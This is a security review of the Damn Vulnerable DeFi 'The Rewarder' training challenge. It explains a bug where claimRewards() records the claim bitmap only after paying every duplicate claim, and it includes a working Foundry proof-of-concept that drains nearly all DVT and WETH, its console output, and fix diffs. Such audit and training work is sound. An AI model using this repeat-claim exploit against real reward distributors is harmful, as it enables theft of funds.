

Damn Vulnerable DeFi, The Rewarder Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: June 27, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, The Rewarder Security Review
2. [Table of contents](#)
3. [About Me](#)
4. [Disclaimer](#)
5. [Risk Classification](#)
6. [Audit Details](#)
7. [Scope](#)
8. [Protocol Summary](#)
9. [Roles](#)
10. [Executive Summary](#)
11. [Issues found](#)
12. [Findings](#)

About Me

I'm a smart contract security researcher focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the The Rewarder challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is June 27, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/the-rewarder/  
TheRewarderDistributor.sol
```

Protocol Summary

`TheRewarderDistributor` give out rewards in two tokens, DVT and WETH. The owner make a distribution with `createDistribution()`, by giving a Merkle root and an amount of tokens. The contract pull those tokens in and remember how much is left in `remaining`.

To get your reward you call `claimRewards()`. You tell the contract which batch, how much you are owed, and a Merkle proof. The contract check the proof against the saved root. If your address and amount are inside the tree, you pass, and the tokens are sent to you. To make sure nobody claim twice, the contract keep a bitmap. Each batch is one bit. Once your bit is set, you can not claim that batch again.

The nice extra is that you can claim many tokens and many batches in one call. You pass a list of claims and a list of tokens, and the contract walk the list and pay you each one.

In the test, the distributor hold 10 DVT and 1 WETH. Alice already claimed her share. The goal is to rescue almost all of the leftover tokens and send them to a recovery account.

Roles

There are two roles. The owner is the address that deployed the contract, set with `address public immutable owner = msg.sender`. The owner is also the one that fund distributions with `createDistribution()`. Everyone else is a normal user. Any user that is listed in a distribution tree can claim their reward with a valid proof. The player is a normal, listed beneficiary who start with a tiny legit reward but must drain the whole distributor.

Executive Summary

The contract try to be gas efficient by not writing to storage on every single claim. Instead, inside `claimRewards()`, it group claims by token and only writes the “already claimed” bitmap once per token group, at the moment the token change or on the very last claim. The problem is the token transfer is **not** grouped, it happen on every loop step.

So if you put the same valid claim in the list many times, the contract pay you many times, but only marks the bit one time at the very end. By then the money is already gone. The duplicate check never gets a chance to stop you, because it runs after all the paying is done. A normal beneficiary can repeat their own claim hundreds of times in a single transaction and walk away with nearly the entire pool.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	2
Informational	1
Total	4

ID	Title	Severity
[H-1]	<code>claimRewards()</code> marks the bitmap too late, so the same reward can be claimed many times	High
[L-1]	Token transfers in <code>claimRewards()</code> and <code>clean()</code> do not check the return value	Low
[L-2]	<code>_setClaimed()</code> is called with the word position of the wrong claim on a token switch	Low
[I-1]	Unused <code>FixedPointMathLib</code> import	Informational

Findings

High

[H-1] `claimRewards()` marks the bitmap too late, so the same reward can be claimed many times

Description:

`claimRewards()` is built to be cheap on gas. It does not write the “already claimed” bitmap on every claim. Instead it adds up the bits and the amounts in memory, and only writes them to storage when the token change, or on the last claim in the list.

```
// src/the-rewarder/TheRewarderDistributor.sol:81-118
for (uint256 i = 0; i < inputClaims.length; i++) {
    inputClaim = inputClaims[i];
```

```

uint256 wordPosition = inputClaim.batchNumber / 256;
uint256 bitPosition = inputClaim.batchNumber % 256;

if (token != inputTokens[inputClaim.tokenIndex]) {
    if (address(token) != address(0)) {
        if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert
AlreadyClaimed();
    }

    token = inputTokens[inputClaim.tokenIndex];
    bitsSet = 1 << bitPosition;
    amount = inputClaim.amount;
} else {
    bitsSet = bitsSet | 1 << bitPosition;
    amount += inputClaim.amount;
}

// for the last claim
if (i == inputClaims.length - 1) {
    if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert
AlreadyClaimed();
}

bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
bytes32 root = distributions[token].roots[inputClaim.batchNumber];

if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof();

inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);
}

```

Look at the order of events for each claim. The proof is checked, and then `transfer` send the tokens out, **on every single loop step**. But the bitmap write, `_setClaimed`, only run when the token change or on the last step.

The bitmap is the only thing that stops a double claim. And it is checked inside `_setClaimed`:

```

// src/the-rewarder/TheRewarderDistributor.sol:120-129
function _setClaimed(IERC20 token, uint256 amount, uint256 wordPosition, uint256
newBits) private returns (bool) {
    uint256 currentWord = distributions[token].claims[msg.sender][wordPosition];
    if ((currentWord & newBits) != 0) return false;

    // update state
    distributions[token].claims[msg.sender][wordPosition] = currentWord | newBits;
    distributions[token].remaining -= amount;

    return true;
}

```

Now put the same valid claim into the list 800 times for the same token. Every loop step pass the proof check (it is a real claim) and pays you. The `else` branch just keeps the same bit, `bitsSet | 1 << bitPosition`, which stay the same single bit. `_setClaimed` is only called once, at the very last step. By then you already got paid 800 times. The single bit is finally set, but the damage is done.

In short, the contract pays first and records once, much later. The duplicate guard runs too late to protect anything.

Location `src/the-rewarder/TheRewarderDistributor.sol:81-118`.

Impact:

Likelihood High. Any listed beneficiary can do this, it only need a normal claim and a valid proof that they already have. It is one transaction and cost only gas.

Risk High. By repeating the claim, the player drains almost all of both token pools and send them to a recovery account. This is a full theft of funds.

Proof of Concept:

The player is a real beneficiary in both the DVT and the WETH trees. The player works out how many times their own claim fit into the remaining pool, build one big list of that many identical claims, and call `claimRewards()` once. The contract pays each copy, so the player ends up with nearly the whole pool, then forwards it to the recovery account.

```
function test_theRewarderExploit() public {
    uint256 dvtIndex = _findIndex(dvtRewards, player);
    uint256 wethIndex = _findIndex(wethRewards, player);
    uint256 playerDvt = dvtRewards[dvtIndex].amount;
    uint256 playerWeth = wethRewards[wethIndex].amount;

    uint256 dvtRepeat = distributor.getRemaining(address(dvt)) / playerDvt;
    uint256 wethRepeat = distributor.getRemaining(address(weth)) / playerWeth;

    console.log("BEFORE ATTACK");
    console.log("distributor DVT :", dvt.balanceOf(address(distributor)));
    console.log("distributor WETH :", weth.balanceOf(address(distributor)));
    console.log("recovery DVT :", dvt.balanceOf(recovery));
    console.log("recovery WETH :", weth.balanceOf(recovery));
    console.log("dvt repeats :", dvtRepeat);
    console.log("weth repeats :", wethRepeat);

    IERC20[] memory tokens = new IERC20[](2);
    tokens[0] = IERC20(address(dvt));
    tokens[1] = IERC20(address(weth));

    bytes32[] memory dvtProof = merkle.getProof(dvtLeaves, dvtIndex);
    bytes32[] memory wethProof = merkle.getProof(wethLeaves, wethIndex);
```

```

// build one list with the same claim repeated many times
Claim[] memory claims = new Claim[](dvtRepeat + wethRepeat);
for (uint256 i = 0; i < dvtRepeat; i++) {
    claims[i] = Claim({batchNumber: 0, amount: playerDvt, tokenIndex: 0, proof:
dvtProof});
}
for (uint256 i = 0; i < wethRepeat; i++) {
    claims[dvtRepeat + i] = Claim({batchNumber: 0, amount: playerWeth,
tokenIndex: 1, proof: wethProof});
}

vm.startPrank(player, player);
distributor.claimRewards(claims, tokens);
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
vm.stopPrank();

console.log("AFTER ATTACK");
console.log("distributor DVT  :", dvt.balanceOf(address(distributor)));
console.log("distributor WETH :", weth.balanceOf(address(distributor)));
console.log("recovery DVT     :", dvt.balanceOf(recovery));
console.log("recovery WETH    :", weth.balanceOf(recovery));

assertLt(dvt.balanceOf(address(distributor)), 1e16, "Too much DVT in
distributor");
assertLt(weth.balanceOf(address(distributor)), 1e15, "Too much WETH in
distributor");
}

```

Console output from `forge test --match-path test/the-rewarder/TheRewarderPoC.t.sol`
`-vv :`

```

Ran 1 test for test/the-rewarder/TheRewarderPoC.t.sol:TheRewarderPoC
[PASS] test_theRewarderExploit() (gas: 29956581)
Logs:
  BEFORE ATTACK
  distributor DVT  : 9997497975612005191
  distributor WETH : 999771617011871775
  recovery DVT     : 0
  recovery WETH    : 0
  dvt repeats      : 867
  weth repeats     : 853
  AFTER ATTACK
  distributor DVT  : 5527736881763497
  distributor WETH : 832913906449755
  recovery DVT     : 9991970238730241694
  recovery WETH    : 998938703105422020

Suite result: ok. 1 passed; 0 failed; 0 skipped

```

The numbers show the drain. The player had one tiny legit reward, but repeated it 867 times for DVT and 853 times for WETH. The distributor goes from about 9.99

DVT and 0.9997 WETH down to dust, and the recovery account ends with nearly all of it.

Recommended Mitigation:

The fix is to mark the bit and check it **before** you pay, on every claim, not once at the end. Write the bitmap inline per claim.

File: `src/the-rewarder/TheRewarderDistributor.sol`, function `claimRewards()`:

```
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens)
    external {
-   Claim memory inputClaim;
-   IERC20 token;
-   uint256 bitsSet;
-   uint256 amount;
-
-   for (uint256 i = 0; i < inputClaims.length; i++) {
-       inputClaim = inputClaims[i];
-
-       uint256 wordPosition = inputClaim.batchNumber / 256;
-       uint256 bitPosition = inputClaim.batchNumber % 256;
-
-       if (token != inputTokens[inputClaim.tokenIndex]) {
-           if (address(token) != address(0)) {
-               if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert
AlreadyClaimed();
-           }
-
-           token = inputTokens[inputClaim.tokenIndex];
-           bitsSet = 1 << bitPosition;
-           amount = inputClaim.amount;
-       } else {
-           bitsSet = bitsSet | 1 << bitPosition;
-           amount += inputClaim.amount;
-       }
-
-       // for the last claim
-       if (i == inputClaims.length - 1) {
-           if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert
AlreadyClaimed();
-       }
-
-       bytes32 leaf = keccak256(abi.encodePacked(msg.sender,
inputClaim.amount));
-       bytes32 root = distributions[token].roots[inputClaim.batchNumber];
-
-       if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert
InvalidProof();
-
-       inputTokens[inputClaim.tokenIndex].transfer(msg.sender,
inputClaim.amount);
+       Claim memory inputClaim = inputClaims[i];
+       IERC20 token = inputTokens[inputClaim.tokenIndex];
+   }
```



```

+         uint256 wordPosition = inputClaim.batchNumber / 256;
+         uint256 bitPosition = inputClaim.batchNumber % 256;
+
+         // mark and check BEFORE paying
+         if (!_setClaimed(token, inputClaim.amount, wordPosition, 1 <<
            bitPosition)) revert AlreadyClaimed();
+
+         bytes32 leaf = keccak256(abi.encodePacked(msg.sender,
            inputClaim.amount));
+         bytes32 root = distributions[token].roots[inputClaim.batchNumber];
+         if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert
            InvalidProof();
+
+         token.transfer(msg.sender, inputClaim.amount);
+     }
}

```

Now the bit is set and checked before the money leaves. A second copy of the same claim hits an already set bit and revert with `AlreadyClaimed`.

Low

[L-1] Token transfers in `claimRewards()` and `clean()` do not check the return value

Description:

The contract uses `SafeTransferLib` when it pulls tokens in `createDistribution()`, but when it sends tokens out it uses the raw `.transfer()` and ignore the return value.

```

// src/the-rewarder/TheRewarderDistributor.sol:116
inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);

```

```

// src/the-rewarder/TheRewarderDistributor.sol:75
token.transfer(owner, token.balanceOf(address(this)));

```

Some ERC20 tokens return `false` on a failed transfer instead of reverting. With those tokens, the transfer can quietly fail while the contract think it worked. DVT and WETH are well behaved, so this is not a problem in the test, but it is unsafe for any other token a distribution might use.

Location `src/the-rewarder/TheRewarderDistributor.sol:75` and `:116`.

Impact:

Likelihood Low. Risk Low, it only matters for odd tokens, no loss for the tokens used here.

Proof of Concept:

N/A

Recommended Mitigation:

Use `SafeTransferLib.safeTransfer` for the outgoing transfers too, the same library already imported and used in `createDistribution()`.

```
- inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);  
+ SafeTransferLib.safeTransfer(address(token), msg.sender, inputClaim.amount);
```

```
- token.transfer(owner, token.balanceOf(address(this)));  
+ SafeTransferLib.safeTransfer(address(token), owner,  
  token.balanceOf(address(this)));
```

[L-2] `_setClaimed()` is called with the word position of the wrong claim on a token switch

Description:

When the loop sees the token change, it writes the bitmap for the **previous** token group. But the `wordPosition` it passes was computed from the **current** claim, the first claim of the new group, not from the claims it is actually writing.

```
// src/the-rewarder/TheRewarderDistributor.sol:90-98  
uint256 wordPosition = inputClaim.batchNumber / 256; // from the NEW claim  
uint256 bitPosition = inputClaim.batchNumber % 256;  
  
if (token != inputTokens[inputClaim.tokenIndex]) {  
    if (address(token) != address(0)) {  
        if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert  
            AlreadyClaimed();  
    }  
    ...  
}
```

In the test everything use batch 0, so `wordPosition` is always 0 and the bug is hidden. But if a token group used batch numbers in a different 256 block than the next token's first claim, the bits would be written into the wrong storage word. That can both fail to block real double claims and corrupt the accounting.

Location `src/the-rewarder/TheRewarderDistributor.sol:90-98`.

Impact:

Likelihood Low, it need batches spread across 256 wide word boundaries. Risk Low to Medium in those cases. With the [H-1] fix that writes the bitmap inline per claim, this issue disappear on its own.

Proof of Concept:

N/A

Recommended Mitigation:

Fixing [H-1] by writing the bitmap inline for each claim removes this issue, because each claim then uses its own `wordPosition`. If the grouped design is kept, the word position must be tracked per group, not taken from the next claim.

Informational

[I-1] Unused `FixedPointMathLib` import

Description:

The file imports `FixedPointMathLib` but never use it.

```
// src/the-rewarder/TheRewarderDistributor.sol:5
import {FixedPointMathLib} from "solady/utils/FixedPointMathLib.sol";
```

Impact:

Info

Proof of Concept:

N/A

Recommended Mitigation:

Remove the unused import to keep the file clean.

```
-import {FixedPointMathLib} from "solady/utils/FixedPointMathLib.sol"; //not using??
```